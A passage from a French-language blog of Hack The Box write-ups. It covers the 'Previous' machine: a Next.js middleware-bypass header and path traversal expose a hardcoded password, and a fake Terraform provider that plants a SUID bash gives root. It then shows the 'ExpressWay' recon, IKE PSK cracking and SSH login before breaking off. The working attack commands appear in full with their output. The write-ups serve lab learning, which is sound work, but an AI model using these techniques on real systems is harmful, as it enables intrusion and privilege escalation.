halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
</code></pre>
<pre><code class="lang-javascript">┌──(kali㉿kali)-[~]
└─$ curl -g -v -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"</span>
* Host previous.htb:<span class="hljs-number">80</span> was resolved.
* IPv6: (none)
* IPv4: <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.83</span>
*   Trying <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.83</span>:<span class="hljs-number">80.</span>..
* Connected to previous.htb (<span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.83</span>) port <span class="hljs-number">80</span>
* using HTTP/<span class="hljs-number">1.</span>x
&gt; GET /api/download?example=../../../pages/api/auth/[...nextauth].js HTTP/<span class="hljs-number">1.1</span>
&gt; Host: previous.htb
&gt; Accept: *<span class="hljs-comment">/*
&gt; x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
&gt; User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
&gt; 
* Request completely sent off
&lt; HTTP/1.1 504 Gateway Timeout
&lt; Server: nginx/1.18.0 (Ubuntu)
&lt; Date: Thu, 25 Sep 2025 22:40:52 GMT
&lt; Content-Type: application/json; charset=utf-8
&lt; Content-Length: 26
&lt; Connection: keep-alive
&lt; ETag: "kuawl8omj6q"
&lt; Vary: Accept-Encoding
&lt; 
* Connection #0 to host previous.htb left intact
{"error":"Read timed out"}</span>
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"</span>

┌──(kali㉿kali)-[~]
└─$ curl -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../pages/api/auth/...nextauth.js"</span> 
{<span class="hljs-string">"error"</span>:<span class="hljs-string">"Read timed out"</span>}   

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"</span>
{<span class="hljs-string">"error"</span>:<span class="hljs-string">"Read timed out"</span>}

┌──(kali㉿kali)-[~]
└─$ curl -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../.next/routes-manifest.json"</span> | grep -i auth

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"</span>
{<span class="hljs-string">"error"</span>:<span class="hljs-string">"Read timed out"</span>}
</code></pre>
<p>L'erreur à l'air de venir des sous-domaines.</p>
<p>Autrement dit, je dois affiner le nombre de [ ../ ] .</p>
<pre><code class="lang-javascript">┌──(kali㉿kali)-[~]
└─$ curl -g -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     --max-time <span class="hljs-number">30</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js"</span>
<span class="hljs-meta">"use strict"</span>;(<span class="hljs-function">()=&gt;</span>{<span class="hljs-keyword">var</span> e={};e.id=<span class="hljs-number">651</span>,e.ids=[<span class="hljs-number">651</span>],e.modules={<span class="hljs-number">3480</span>:<span class="hljs-function">(<span class="hljs-params">e,n,r</span>)=&gt;</span>{e.exports=r(<span class="hljs-number">5600</span>)},<span class="hljs-number">5600</span>:<span class="hljs-function"><span class="hljs-params">e</span>=&gt;</span>{e.exports=<span class="hljs-built_in">require</span>(<span class="hljs-string">"next/dist/compiled/next-server/pages-api.runtime.prod.js"</span>)}
,<span class="hljs-number">6435</span>:<span class="hljs-function">(<span class="hljs-params">e,n</span>)=&gt;</span>{<span class="hljs-built_in">Object</span>.defineProperty(n,<span class="hljs-string">"M"</span>,{<span class="hljs-attr">enumerable</span>:!<span class="hljs-number">0</span>,<span class="hljs-attr">get</span>:<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">e</span>(<span class="hljs-params">n,r</span>)</span>{<span class="hljs-keyword">return</span> r <span class="hljs-keyword">in</span> n?n[r]:<span class="hljs-string">"then"</span><span class="hljs-keyword">in</span> n&amp;&amp;<span class="hljs-string">"function"</span>==<span class="hljs-keyword">typeof</span> n.then?n.then(<span class="hljs-function"><span class="hljs-params">n</span>=&gt;</span>e(n,r))
:<span class="hljs-string">"function"</span>==<span class="hljs-keyword">typeof</span> n&amp;&amp;<span class="hljs-string">"default"</span>===r?n:<span class="hljs-keyword">void</span> <span class="hljs-number">0</span>}}})},<span class="hljs-number">8667</span>:<span class="hljs-function">(<span class="hljs-params">e,n</span>)=&gt;</span>{<span class="hljs-built_in">Object</span>.defineProperty(n,<span class="hljs-string">"A"</span>,{<span class="hljs-attr">enumerable</span>:!<span class="hljs-number">0</span>,<span class="hljs-attr">get</span>:<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-keyword">return</span> r}});<span class="hljs-keyword">var</span> r=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">e</span>)</span>{<span class="hljs-keyword">return</span> e.PAGES=<span class="hljs-string">"PAGES"</span>,
e.PAGES_API=<span class="hljs-string">"PAGES_API"</span>,e.APP_PAGE=<span class="hljs-string">"APP_PAGE"</span>,e.APP_ROUTE=<span class="hljs-string">"APP_ROUTE"</span>,e.IMAGE=<span class="hljs-string">"IMAGE"</span>,e}({})},<span class="hljs-number">9832</span>:<span class="hljs-function">(<span class="hljs-params">e,n,r</span>)=&gt;</span>{r.r(n),r.d(n,{<span class="hljs-attr">config</span>:<span class="hljs-function">()=&gt;</span>l,<span class="hljs-attr">default</span>:<span class="hljs-function">()=&gt;</span>P,<span class="hljs-attr">routeModule</span>:<span class="hljs-function">()=&gt;</span>A});<span class="hljs-keyword">var</span> 
t={};r.r(t),r.d(t,{<span class="hljs-attr">default</span>:<span class="hljs-function">()=&gt;</span>p});<span class="hljs-keyword">var</span> a=r(<span class="hljs-number">3480</span>),s=r(<span class="hljs-number">8667</span>),i=r(<span class="hljs-number">6435</span>);<span class="hljs-keyword">let</span> u=<span class="hljs-built_in">require</span>(<span class="hljs-string">"next-auth/providers/credentials"</span>),o={<span class="hljs-attr">session</span>:{<span class="hljs-attr">strategy</span>:<span class="hljs-string">"jwt"</span>},<span class="hljs-attr">providers</span>:[r.n(u)()({<span class="hljs-attr">name</span>:
<span class="hljs-string">"Credentials"</span>,<span class="hljs-attr">credentials</span>:{<span class="hljs-attr">username</span>:{<span class="hljs-attr">label</span>:<span class="hljs-string">"User"</span>,<span class="hljs-attr">type</span>:<span class="hljs-string">"username"</span>},<span class="hljs-attr">password</span>:{<span class="hljs-attr">label</span>:<span class="hljs-string">"Password"</span>,<span class="hljs-attr">type</span>:<span class="hljs-string">"password"</span>}},<span class="hljs-attr">authorize</span>:<span class="hljs-keyword">async</span> e=&gt;e?.username===<span class="hljs-string">"jeremy"</span>&amp;&amp;e.password===
(process.env.ADMIN_SECRET??<span class="hljs-string">"MyNameIsJeremyAndILovePancakes"</span>)?{<span class="hljs-attr">id</span>:<span class="hljs-string">"1"</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">"Jeremy"</span>}:<span class="hljs-literal">null</span>})],<span class="hljs-attr">pages</span>:{<span class="hljs-attr">signIn</span>:<span class="hljs-string">"/signin"</span>},<span class="hljs-attr">secret</span>:process.env.NEXTAUTH_SECRET},d=<span class="hljs-built_in">require</span>(<span class="hljs-string">"next-auth"</span>)
,p=r.n(d)()(o),P=(<span class="hljs-number">0</span>,i.M)(t,<span class="hljs-string">"default"</span>),l=(<span class="hljs-number">0</span>,i.M)(t,<span class="hljs-string">"config"</span>),A=<span class="hljs-keyword">new</span> a.PagesAPIRouteModule({<span class="hljs-attr">definition</span>:{<span class="hljs-attr">kind</span>:s.A.PAGES_API,<span class="hljs-attr">page</span>:<span class="hljs-string">"/api/auth/[...nextauth]"</span>,<span class="hljs-attr">pathname</span>:<span class="hljs-string">"/api/auth/[...nextauth]"</span>
,<span class="hljs-attr">bundlePath</span>:<span class="hljs-string">""</span>,<span class="hljs-attr">filename</span>:<span class="hljs-string">""</span>},<span class="hljs-attr">userland</span>:t})}};<span class="hljs-keyword">var</span> n=<span class="hljs-built_in">require</span>(<span class="hljs-string">"../../../webpack-api-runtime.js"</span>);n.C(e);<span class="hljs-keyword">var</span> r=n(n.s=<span class="hljs-number">9832</span>);<span class="hljs-built_in">module</span>.exports=r})();
</code></pre>
<p>Dans la fonction asynchrone du code:</p>
<pre><code class="lang-javascript">authorize: <span class="hljs-keyword">async</span> (e) =&gt; (e?.username === <span class="hljs-string">"jeremy"</span> &amp;&amp; e.password === (process.env.ADMIN_SECRET ?? <span class="hljs-string">"MyNameIsJeremyAndILovePancakes"</span>) ? { <span class="hljs-attr">id</span>: <span class="hljs-string">"1"</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">"Jeremy"</span> } : <span class="hljs-literal">null</span>),
</code></pre>
<h2 id="heading-ssh-connection">SSH Connection</h2>
<pre><code class="lang-bash">Last login: Thu Sep 25 23:10:56 2025 from 10.10.15.91
jeremy@previous:~$
jeremy@previous:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/<span class="hljs-literal">false</span>
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/<span class="hljs-literal">false</span>
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/<span class="hljs-literal">false</span>
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/<span class="hljs-built_in">log</span>/laurel:/bin/<span class="hljs-literal">false</span>
</code></pre>
<pre><code class="lang-bash">jeremy@previous:~$ ls
docker  local-exec  pwnprov  user.txt

jeremy@previous:~$ cat user.txt
flag{************************************}

jeremy@previous:~$ python3
Python 3.10.12 (main, May 27 2025, 17:12:29) [GCC 11.4.0] on linux
Type <span class="hljs-string">"help"</span>, <span class="hljs-string">"copyright"</span>, <span class="hljs-string">"credits"</span> or <span class="hljs-string">"license"</span> <span class="hljs-keyword">for</span> more information.
&gt;&gt;&gt; <span class="hljs-built_in">exit</span>
Use <span class="hljs-built_in">exit</span>() or Ctrl-D (i.e. EOF) to <span class="hljs-built_in">exit</span>
&gt;&gt;&gt; <span class="hljs-built_in">exit</span>()
</code></pre>
<p>J’ai vérifié que Python était présent et fonctionnel. Ça peut servir…</p>
<h1 id="heading-privileges-escalation">Privileges Escalation</h1>
<pre><code class="lang-bash">jeremy@previous:/home$ find / -user root -perm -4000 -<span class="hljs-built_in">print</span> 2&gt;/dev/null
/tmp/rootbash
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
</code></pre>
<pre><code class="lang-bash">jeremy@previous:/opt/examples$ ls -la ~/pwnprov/terraform-provider-examples/
ls: cannot access <span class="hljs-string">'/home/jeremy/pwnprov/terraform-provider-examples/'</span>: Not a directory

jeremy@previous:/opt/examples$ <span class="hljs-built_in">cd</span> ~
mkdir -p fake-provider
<span class="hljs-built_in">cd</span> fake-provider
cat &gt; fake-provider &lt;&lt; <span class="hljs-string">'EOF'</span>
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
chmod +x fake-provider

jeremy@previous:~/fake-provider$ ls
fake-provider

jeremy@previous:~/fake-provider$ chmod +x fake-provider

jeremy@previous:~/fake-provider$ ls
fake-provider

jeremy@previous:~/fake-provider$ mv fake-provider terraform-provider-null_v3.1.1_x5

jeremy@previous:~/fake-provider$ ls
terraform-provider-null_v3.1.1_x5

jeremy@previous:~/fake-provider$ <span class="hljs-built_in">cd</span> ~
cat &gt; .terraformrc &lt;&lt; <span class="hljs-string">'EOF'</span>
provider_installation {
  dev_overrides {
    <span class="hljs-string">"hashicorp/null"</span> = <span class="hljs-string">"/home/jeremy/fake-provider"</span>
  }
  direct {
    exclude = [<span class="hljs-string">"hashicorp/null"</span>]
  }
}
EOF

jeremy@previous:~$ ls
docker  fake-provider  file_to_write  local-exec  pwnprov  user.txt

jeremy@previous:~$ <span class="hljs-built_in">export</span> TF_CLI_CONFIG_FILE=~/.terraformrc
<span class="hljs-built_in">export</span> TF_IN_AUTOMATION=<span class="hljs-literal">true</span>
<span class="hljs-built_in">export</span> TF_INPUT=<span class="hljs-literal">false</span>

jeremy@previous:~$ <span class="hljs-built_in">cd</span> /opt/examples
sudo /usr/bin/terraform -<span class="hljs-built_in">chdir</span>=/opt/examples apply -auto-approve
Sorry, user jeremy is not allowed to execute <span class="hljs-string">'/usr/bin/terraform -chdir=/opt/examples apply -auto-approve'</span> as root on previous.

jeremy@previous:/opt/examples$ ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Sep 25 20:34 /tmp/rootbash

jeremy@previous:/opt/examples$ /tmp/rootbash -p
rootbash-5.1<span class="hljs-comment">#</span>

rootbash-5.1<span class="hljs-comment"># whoami</span>
root

rootbash-5.1<span class="hljs-comment"># cat /root/root.txt</span>
flag{********************************}
</code></pre>
<p>Pour avoir les permissions root, j’ai exploité la mauvaise configuration de Sudo et la surcharge des providers de Terraform via un fichier de configuration.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Cette machine HTB, m’a permis de me familiariser un peu plus, avec les failles web, type Local File Include.</p>
<p>Et c’était plutôt sympa.</p>
<p>Merci d’avoir lu mon writeup.</p>
]]></content:encoded></item><item><title><![CDATA[ExpressWay HTB]]></title><description><![CDATA[Reconnaissance
TCP scan
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O 10.10.11.87
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org/) ) at 2025-10-11 17:47 EDT
Nmap scan report for 10.10.11.87
Host is up (0.093s latency).
Not shown: 999 closed tcp po...]]></description><link>https://fr3nch4writeups.hashnode.dev/expressway-htb</link><guid isPermaLink="true">https://fr3nch4writeups.hashnode.dev/expressway-htb</guid><category><![CDATA[HTB Writeup]]></category><dc:creator><![CDATA[Yoann]]></dc:creator><pubDate>Sun, 02 Nov 2025 16:50:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762105796227/5e03aeec-0812-4e71-a839-54b62898ad19.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-reconnaissance">Reconnaissance</h1>
<h2 id="heading-tcp-scan">TCP scan</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O 10.10.11.87
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org/) ) at 2025-10-11 17:47 EDT
Nmap scan report <span class="hljs-keyword">for</span> 10.10.11.87
Host is up (0.093s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Device <span class="hljs-built_in">type</span>: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 8.11 seconds
</code></pre>
<h2 id="heading-udp-scan">UDP scan</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/udpx]
└─$ ./udpx -t 10.10.11.87
    __  ______  ____ _  __
   / / / / __ \\/ __ \\ |/ /
  / / / / / / / /_/ /   /
 / /_/ / /_/ / ____/   |
 \\____/_____/_/   /_/|_|
     v1.0.7, by @nullt3r

2025/10/11 17:45:48 [+] Starting UDP scan on 1 target(s)
2025/10/11 17:46:01 [*] 10.10.11.87:500 (ike)
2025/10/11 17:46:11 [+] Scan completed
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sU -sV -T3 --top-ports 25  10.10.11.87
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org/) ) at 2025-10-11 17:42 EDT
Nmap scan report <span class="hljs-keyword">for</span> 10.10.11.87
Host is up (0.18s latency).

PORT      STATE         SERVICE      VERSION
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open          tftp         Netkit tftpd or atftpd
111/udp   closed        rpcbind
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open          isakmp?
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
998/udp   closed        puparp
1434/udp  closed        ms-sql-m
1701/udp  closed        L2TP
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
5353/udp  closed        zeroconf
49152/udp closed        unknown
49154/udp closed        unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at [https://nmap.org/cgi-bin/submit.cgi?new-service](https://nmap.org/cgi-bin/submit.cgi?new-service) :
SF-Port500-UDP:V=7.95%I=7%D=10/11%Time=68EACF88%P=x86_64-pc-linux-gnu%r(IK
SF:E_MAIN_MODE,70,<span class="hljs-string">"\0\x11\"3DUfw\x12\xa0F3\xfaf\x1d\x8b\x01\x10\x02\0\0\0\
SF:0\0\0\0\0p\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\0\x20
SF:\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x01\x8
SF:0\x0b\0\x01\x80\x0c\0\x01\r\0\0\x0c\t\0&amp;\x89\xdf\xd6\xb7\x12\0\0\0\x14\
SF:xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0"</span>)%r(IPSEC_START,9C,<span class="hljs-string">"1
SF:'\xfc\xb08\x10\x9e\x89\xb1\xf5\xb9\x95\xe2\xf2\xfd\xa4\x01\x10\x02\0\0\
SF:0\0\0\0\0\0\x9c\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\
SF:0\x20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x
SF:03\x80\x0b\0\x01\x80\x0c\x0e\x10\r\0\0\x0c\t\0&amp;\x89\xdf\xd6\xb7\x12\r\0
SF:\0\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0\r\0\0\x18@H\xb
SF:7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\0\xd6\xc2\xd3\x80\0\0\0\0\0\0\x14\x90\x
SF:cb\x80\x91&gt;\xbbin\x08c\x81\xb5\xecB{\x1f"</span>);

Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 143.11 seconds
</code></pre>
<h1 id="heading-exploitation">Exploitation</h1>
<p>J’ai eu du mal à trouver un point faible, à cause des ports, peu commun.<br />J’ai découvert l’outil <em>UDPx</em> de [<a target="_blank" href="https://github.com/nullt3r%5D\(https://github.com/nullt3r\)">https://github.com/nullt3r](<em>https://github.com/nullt3r</em>)</a> .</p>
<p>Le scan UDP a attiré mon attention, sur le port 500, utilisé par le protocole IKE (Internet Key Exchange).</p>
<p>Il sert à automatiser, les échanges de clés de cryptage.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ ike-scan -M -v 10.10.11.87
DEBUG: pkt len=336 bytes, bandwidth=56000 bps, int=52000 us
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Main Mode Handshake returned
HDR=(CKY-R=36cd9c4ac1578c6a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned <span class="hljs-keyword">in</span> 0.120 seconds (8.33 hosts/sec).  1 returned handshake; 0 returned notify
</code></pre>
<p>Donc j’ai utilisé l’outil Kali, “<em>ike-scan” .</em></p>
<p>Lequel m’a permis d’obtenir un HandShake.</p>
<h2 id="heading-handshake">Handshake</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ ike-scan -A --pskcrack 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=ae17a846e87c0adf) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
d075f9b37866807d3a29afe19076d12e1396d527edf3f034bcf3b5a39963fc04fbef14d197b9280e669ed581249
a477ab7e6074a0bbe69662c027c3caf3f8a2b575da257fb8d2886274a8632a1e970ebdeebe5f9059b2816f0f9df
f67a9bd266b488a0afe2b653445cf4eff46865eb79284edcd73ac1516a58bd185ad41480ee:f2b93dbd71df0d22
96fe63d734e87e82c9eb78614f04c6dbc35788e6418181775d8146ab308ad9a2bb5e28c436314756ad4a51b8b01
a91a5f0a92c88cf5ac6739158b3d58610c5b9ba21f8e8ddda233928920470cc55655c7ee1d4ca840720c9c68a45
ae2c3d1138129a18679266e9268c20585183599afdf7e2186b52aeacf4:ae17a846e87c0adf:42529b36e51a177
9:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b00010
00c000400007080030000240201000080010005800200018003000180040002800b0001000c0004000070800300
00240301000080010001800200028003000180040002800b0001000c00040000708000000024040100008001000
1800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687
462:d4cb080e953462da3b4feb77129d881e8d152aaf:3330922eacabf780a0aeb61b2299ebfa47ff72cc96c962
cc71715106ce3b3d13:6145867692f60a5810bee530b281fd79a59dccb1
Ending ike-scan 1.9.6: 1 hosts scanned <span class="hljs-keyword">in</span> 0.197 seconds (5.08 hosts/sec).  1 returned handshake; 0 returned notify
</code></pre>
<h2 id="heading-dechiffrement-du-handshake">Déchiffrement du Handshake</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/ExpressWay]
└─$ ls
expressway.txt  psk.hash

┌──(kali㉿kali)-[~/Documents/htb/ExpressWay]
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt psk.hash
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running <span class="hljs-keyword">in</span> dictionary cracking mode
key <span class="hljs-string">"freakingrockstarontheroad"</span> matches SHA1 <span class="hljs-built_in">hash</span> 6145867692f60a5810bee530b281fd79a59dccb1
Ending psk-crack: 8045040 iterations <span class="hljs-keyword">in</span> 5.034 seconds (1598196.84 iterations/sec)
</code></pre>
<h2 id="heading-connection-ssh">Connection SSH</h2>
<p>Maintenant que j’ai obtenu le mot de passe, je peux tenter la connexion sur le protocole SSH.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/ExpressWay]
└─$ ssh [ike@10.10.11.87ike@10.10.11.87](mailto:ike@10.10.11.87)<span class="hljs-string">'s password:
Last login: Sat Oct 11 22:37:08 BST 2025 from 10.10.14.171 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct 11 23:05:54 2025 from 10.10.15.91
ike@expressway:~$ whoami
ike
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt
flag{**************************}</span>
</code></pre>
<h1 id="heading-elevation-des-privileges">Élévation des Privilèges</h1>
<p>Le user “ike” est dans le ‘groupe ike’ mais aussi dans celui de ‘proxy’.</p>
<p>Le ‘proxy group’, a les autorisations pour accéder, au contenu du fichier “access.log”.</p>
<pre><code class="lang-bash">ike@expressway:/$ id
